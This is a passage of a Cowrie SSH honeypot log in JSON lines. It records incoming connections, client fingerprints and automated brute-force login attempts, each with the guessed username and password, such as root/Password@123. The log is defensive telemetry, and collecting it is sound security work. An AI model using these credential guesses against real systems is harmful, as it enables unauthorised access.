{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:57.629266Z","src_ip":"31.57.184.248","session":"48b76101a5cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55516,"dst_ip":"159.203.135.109","dst_port":22,"session":"acfc3264c951","protocol":"ssh","message":"New connection: 45.153.34.114:55516 (159.203.135.109:22) [session: acfc3264c951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:57.665731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:57.670292Z","src_ip":"45.153.34.114","session":"acfc3264c951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:57.752907Z","src_ip":"45.153.34.114","session":"acfc3264c951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jetadmin","password":"Centos123!","message":"login attempt [jetadmin/Centos123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:57.836935Z","src_ip":"31.57.184.248","session":"48b76101a5cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:58.011724Z","src_ip":"45.153.34.114","session":"acfc3264c951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:58.942368Z","src_ip":"31.57.184.248","session":"48b76101a5cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:59.096309Z","src_ip":"45.153.34.114","session":"acfc3264c951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54092,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d1a1acc0bb9","protocol":"ssh","message":"New connection: 45.153.34.114:54092 (159.203.135.109:22) [session: 0d1a1acc0bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:05.164677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:05.169775Z","src_ip":"45.153.34.114","session":"0d1a1acc0bb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:05.258317Z","src_ip":"45.153.34.114","session":"0d1a1acc0bb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:05.509641Z","src_ip":"45.153.34.114","session":"0d1a1acc0bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:06.609148Z","src_ip":"45.153.34.114","session":"0d1a1acc0bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49740,"dst_ip":"159.203.135.109","dst_port":22,"session":"607a4055fef2","protocol":"ssh","message":"New connection: 103.75.199.4:49740 (159.203.135.109:22) [session: 607a4055fef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:08.856638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:08.861337Z","src_ip":"103.75.199.4","session":"607a4055fef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:08.953074Z","src_ip":"103.75.199.4","session":"607a4055fef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:09.226210Z","src_ip":"103.75.199.4","session":"607a4055fef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:10.321739Z","src_ip":"103.75.199.4","session":"607a4055fef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46632,"dst_ip":"159.203.135.109","dst_port":22,"session":"28d7e626c17f","protocol":"ssh","message":"New connection: 45.153.34.114:46632 (159.203.135.109:22) [session: 28d7e626c17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:12.826046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:12.830803Z","src_ip":"45.153.34.114","session":"28d7e626c17f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:12.921441Z","src_ip":"45.153.34.114","session":"28d7e626c17f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:13.217395Z","src_ip":"45.153.34.114","session":"28d7e626c17f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:14.308570Z","src_ip":"45.153.34.114","session":"28d7e626c17f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42162,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffd9f036dd0b","protocol":"ssh","message":"New connection: 45.153.34.114:42162 (159.203.135.109:22) [session: ffd9f036dd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:20.197458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:20.202583Z","src_ip":"45.153.34.114","session":"ffd9f036dd0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:20.286650Z","src_ip":"45.153.34.114","session":"ffd9f036dd0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:20.541865Z","src_ip":"45.153.34.114","session":"ffd9f036dd0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":51256,"dst_ip":"10.17.0.5","dst_port":22,"session":"a26b1854cef3","protocol":"ssh","message":"New connection: 80.94.92.168:51256 (10.17.0.5:22) [session: a26b1854cef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:21.511425Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:21.628548Z","src_ip":"45.153.34.114","session":"ffd9f036dd0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:21.674421Z","src_ip":"80.94.92.168","session":"a26b1854cef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42166,"dst_ip":"159.203.135.109","dst_port":22,"session":"e304b1dcba08","protocol":"ssh","message":"New connection: 45.153.34.114:42166 (159.203.135.109:22) [session: e304b1dcba08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:27.972296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:27.979493Z","src_ip":"45.153.34.114","session":"e304b1dcba08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:28.064811Z","src_ip":"45.153.34.114","session":"e304b1dcba08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:28.427340Z","src_ip":"45.153.34.114","session":"e304b1dcba08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:29.514800Z","src_ip":"45.153.34.114","session":"e304b1dcba08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39254,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a55299764e0","protocol":"ssh","message":"New connection: 103.75.199.4:39254 (159.203.135.109:22) [session: 8a55299764e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:30.610311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:30.615101Z","src_ip":"103.75.199.4","session":"8a55299764e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:30.706712Z","src_ip":"103.75.199.4","session":"8a55299764e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:30.980099Z","src_ip":"103.75.199.4","session":"8a55299764e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:32.074253Z","src_ip":"103.75.199.4","session":"8a55299764e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36660,"dst_ip":"159.203.135.109","dst_port":22,"session":"aba5b16a18fa","protocol":"ssh","message":"New connection: 45.153.34.114:36660 (159.203.135.109:22) [session: aba5b16a18fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:35.616584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:35.620806Z","src_ip":"45.153.34.114","session":"aba5b16a18fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com